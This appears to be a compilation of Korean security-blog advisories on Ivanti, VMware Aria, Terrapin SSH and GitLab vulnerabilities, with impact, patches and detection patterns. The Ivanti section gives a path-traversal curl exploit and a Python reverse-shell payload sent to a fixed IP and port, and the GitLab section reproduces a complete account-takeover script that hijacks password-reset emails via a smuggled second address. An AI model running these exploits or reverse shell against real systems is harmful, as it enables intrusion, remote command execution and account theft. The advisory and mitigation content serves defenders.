    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

1. Aria Automation [1]

- 클라우드 환경에서 애플리케이션을 구축하고 관리할 수 있는 자동화 플랫폼

- 사용자가 지정한 리소스를 퍼블릭·프라이빗 클라우드에 배포하는 기능을 담당

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34063 [2]

 

- 취약한 버전의 Aria Automation에 접근 제어가 누락되어 발생하는 취약점 (CVSS: 9.9)

> 공격자는 취약점을 악용해 원격 조직 및 작업 흐름에 대한 무단 액세스가 가능

> 현재 공격에 악용되었다는 증거는 없으나, 최대한 빠른 패치를 권고

> CISA는 해당 취약점에 대한 경고를 발행 [3]

영향받는 버전
① VMware Aria Automation(이전 vRealize Automation) 8.14.x, 8.13.x, 8.12.x, 8.11.x 버전
② VMware Cloud Foundation(Aria Automation) 5.x, 4.x 버전 

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

제품명 영향받는 버전 해결 버전
VMware Aria Automation 8.14.x 8.14.1+
8.13.x 8.13.1+
8.12.x 8.12.2+
8.11.x 8.11.2+
VMware Cloud Foundation(Aria Automation) 5.x, 4.x KB96136

 

4.참고

[1] https://www.vmware.com/kr/products/aria-automation.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34063
[3] https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
[4] https://www.vmware.com/security/advisories/VMSA-2024-0001.html
[5] https://kb.vmware.com/s/article/96098
[6] https://kb.vmware.com/s/article/96136
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71298&menuNo=205020
[8] https://socradar.io/patches-available-for-a-critical-vulnerability-in-vmware-aria-automation-cve-2023-34063/
[9] https://github.com/advisories/GHSA-fcww-v4hr-rgfr
[10] https://thehackernews.com/2024/01/citrix-vmware-and-atlassian-hit-with.html
[11] https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/
[12] https://securityonline.info/cve-2023-34063-cvss-9-9-a-critical-flaw-in-vmware-aria-automation/
[13] https://www.boannews.com/media/view.asp?idx=125955&page=2&kind=1

1. 개요 [1]

- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원
> 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정
> 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장
- 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견
> 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음
OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향

 

[사진 1] Tererapin Attack

2. 주요내용

Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행

> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계
> 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]

 

[사진 2] 공격 개요

 

[사진 3] Terrapin Attack 취약 서버

 

- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생

핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리
보안 채널 시작시 시퀀스 번호를 재설정하지 않음

> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음

※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등

 

[사진 4] 취약점 근본 원인

 

- 공격이 성공하기 위한 조건 존재

> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용
> ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약

 

※ 참고

영향 알고리즘
취약하지 않음 GCM, CBC-EaM, CTR-EaM
취약하나 악용불가 CTR-EtM
취약하나 확율적 악용가능 CBC-EtM

 

- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호

> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)

 

[사진 5] 지원 암호 알고리즘

 

- 해당 공격은 CVE-2023-48795로 명명 [3]
> CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함

 

3. 대응방안

> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증
> 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정
> 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4]
> 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우)
> 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요
> 취약점 스캐너 활용 [5]

 

4. 참고

[1] https://terrapin-attack.com/
[2] https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-48795
[4] https://learn.microsoft.com/ko-kr/windows/win32/seccrypto/finish-messages-in-the-tls-1-0-protocol
[5] https://github.com/RUB-NDS/Terrapin-Scanner/releases/tag/v1.1.3
[6] https://cybersecuritynews.com/new-terrapin-attacking-ssh-protocol/
[7] https://www.dailysecu.com/news/articleView.html?idxno=152520
[8] https://www.digitaltoday.co.kr/news/articleView.html?idxno=498909

1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼

> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-7028 [2]

 

- 취약한 버전의 GitLab에서 비밀번호 재설정 프로세스의 버그로 인해 발생하는 계정 탈취 취약점 (CVSS: 10.0)

사용자 개입 없이 계정을 탈취할 수 있음

> 비밀번호 재설정 기능을 악용하여 계정 비밀번호 재설정 이메일이 확인되지 않은 이메일 주소로 전달되는 취약점

취약한 버전
- GitLab Community Edition(CE) 및 Enterprise Edition(EE) 버전 정보
> 16.1 ~ 16.1.5
> 16.2 ~ 16.2.8
> 16.3 ~ 16.3.6
> 16.4 ~ 16.4.4
> 16.5 ~ 16.5.5
> 16.6 ~ 16.6.3
> 16.7 ~ 16.7.1

 

2.1 취약점 상세 [3]

- 23.05.01 GitLab 16.1.0 버전에서 보조 이메일 주소를 통한 비밀번호 재설정 기능 도입

> 구체적인 내용은 확인되지 않으나, 이메일 확인 프로세스의 버그로 인해 발생되는 것으로 판단됨

 

공격 대상 이메일과 공격자가 제어하는 보조 이메일 주소를 입력

> 공격자가 제어하는 보조 이메일 주소로 비밀번호 재설정 메시지 전송

※ 공격 대상 이메일에도 비밀번호 재설정 메시지가 전송됨

공격자는 전송된 메시지를 통해 비밀번호 재설정 프로세스를 하이재킹하여 비밀번호 변경 및 계정 탈취가 가능해짐

user[email][]=my.target@example.com&user[email][]=hacker@evil.com

 

2.2 PoC [4]

- PoC 동작 과정
① POST 메서드를 이용해 /user/password URL로 악성 요청 전송
② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송
③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송
④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re

requests.packages.urllib3.disable_warnings()

class OneSecMail_api:
    def __init__(self):
        self.url = "https://www.1secmail.com"
        self.domains = []

    def get_domains(self):
        print('[DEBUG] Scrapping available domains on 1secmail.com')
        html = requests.get(f'{self.url}').text
        pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
        self.domains = pattern.findall(html)
        print(f'[DEBUG] {len(self.domains)} domains found')

    def get_email(self):
        print('[DEBUG] Getting temporary mail')
        if self.domains == []:
            self.get_domains()
        if self.domains == []:
            return None
        name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
        domain = choice(self.domains)
        mail = f'{name}@{domain}'
        print(f'[DEBUG] Temporary mail: {mail}')
        return mail

    def get_mail_ids(self, name, domain):
        print(f'[DEBUG] Getting last mail for {name}@{domain}')
        html = requests.post(f'{self.url}/mailbox',
                             verify=False,
                             data={
                                 'action': 'getMessages',
                                 'login': name,
                                 'domain': domain
                             }).text
        pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
        mails = pattern.findall(html)
        return mails

    def get_last_mail(self, mail):
        name, domain = mail.split('@')
        mails = self.get_mail_ids(name, domain)
        print(f'[DEBUG] {len(mails)} mail(s) found')
        if mails == []:
            return None
        print(f'[DEBUG] Reading the last one')
        html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
        content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
        return content


class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.mail_api = OneSecMail_api()
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

        if self.evil is None:
            self.use_temp_mail = True
            self.evil = self.mail_api.get_email()
            if not self.evil:
                print('[DEBUG] Failed ... quitting')
                exit()

    def get_authenticity_token(self, code=''):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            endpoint = f'/users/password/edit?reset_password_token={code}'
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
            regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

    def parse_email(self, content):
        try:
            pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
            token = pattern.findall(content)[0]
            return token
        except:
            return None

    def get_code(self, max_attempt=5, delay=7.5):
        if not self.use_temp_mail:
            url = input('\tInput link received by mail: ')
            pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
            match = pattern.findall(url)
            if len(match) != 1:
                return None
            return match[0][1]
        else:
            for k in range(1, max_attempt+1):
                print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
                sleep(delay)
                print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
                last_email = self.mail_api.get_last_mail(self.evil)
                if last_email is not None:
                    code = self.parse_email(last_email)
                    return code

    def reset_password(self, password):
        code = self.get_code()

        if not code:
            print('[DEBUG] Failed ... quitting')
            return False

        print('[DEBUG] Generating new password')
        charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

        if password is None:
            password = ''.join(choice(charset) for _ in range(20))

        authenticity_token = self.get_authenticity_token(code)
        if authenticity_token is None:
            return False

        print(f'[DEBUG] Changing password to {password}')

        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           verify=False,
                           data={
                               '_method': 'put',
                               'authenticity_token': authenticity_token,
                               'user[reset_password_token]': code,
                               'user[password]': password,
                               'user[password_confirmation]': password
                           }).text
        success = 'Your password has been changed successfully.' in html
        if success:
            print('[DEBUG] CVE_2023_7028 succeed !')
            print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
            print(f'\tUsername: {self.target}')
            print(f'\tPassword: {password}')
        else:
            print('[DEBUG] Failed ... quitting')


def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
        evil=args.evil
    )
    if not exploit.ask_reset():
        exit()
    exploit.reset_password(password=args.password)

 

[사진 2] 비밀번호 재설정 요청 전송(위) 및 비밀번호 재설정 메일 공격자 수신 내역(아래) [5]

 

3. 대응방안

① 벤더사 제공 업데이트 및 권장사항 적용 [6]

- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요

> 권장 사항 [7]
⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토
⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인

제품명 영향받는 버전 해결버전
GitLab CE/EE 16.1 ~ 16.1.5 16.1.6
16.2 ~ 16.2.8 16.2.9
16.3 ~ 16.3.6 16.3.7
16.4 ~ 16.4.4 16.4.5
16.5 ~ 16.5.5 16.5.6
16.6 ~ 16.6.3 16.6.4
16.7 ~ 16.7.1 16.7.2

 

② 모든 GitLab 계정에 대해 2단계 인증 적용

2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가

 

③ GitLab에 저장된 모든 비밀을 변경 [8]

- GitLab 계정 비밀번호를 포함한 모든 자격 증명
- API 토큰
- 모든 인증서
- 다른 비밀 정보

 

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-7028
[3] https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
[4] https://github.com/Vozec/CVE-2023-7028
[5] https://0xweb01.medium.com/account-takeover-via-password-reset-without-user-interactions-cve-2023-7028-cbd2e675992e
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71289&menuNo=205020
[7] https://threatprotect.qualys.com/2024/01/15/gitlab-ee-ce-account-take-over-vulnerability-cve-2023-7028/
[8] https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#suspected-compromised-user-account
[9] https://www.securityweek.com/gitlab-patches-critical-password-reset-vulnerability/
[10] https://thehackernews.com/2024/01/urgent-gitlab-releases-patch-for.html?m=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=152803

'취약점 > Hijacking' 카테고리의 다른 글

LogoFAIL 취약점  (0) 2023.12.12

+ Recent posts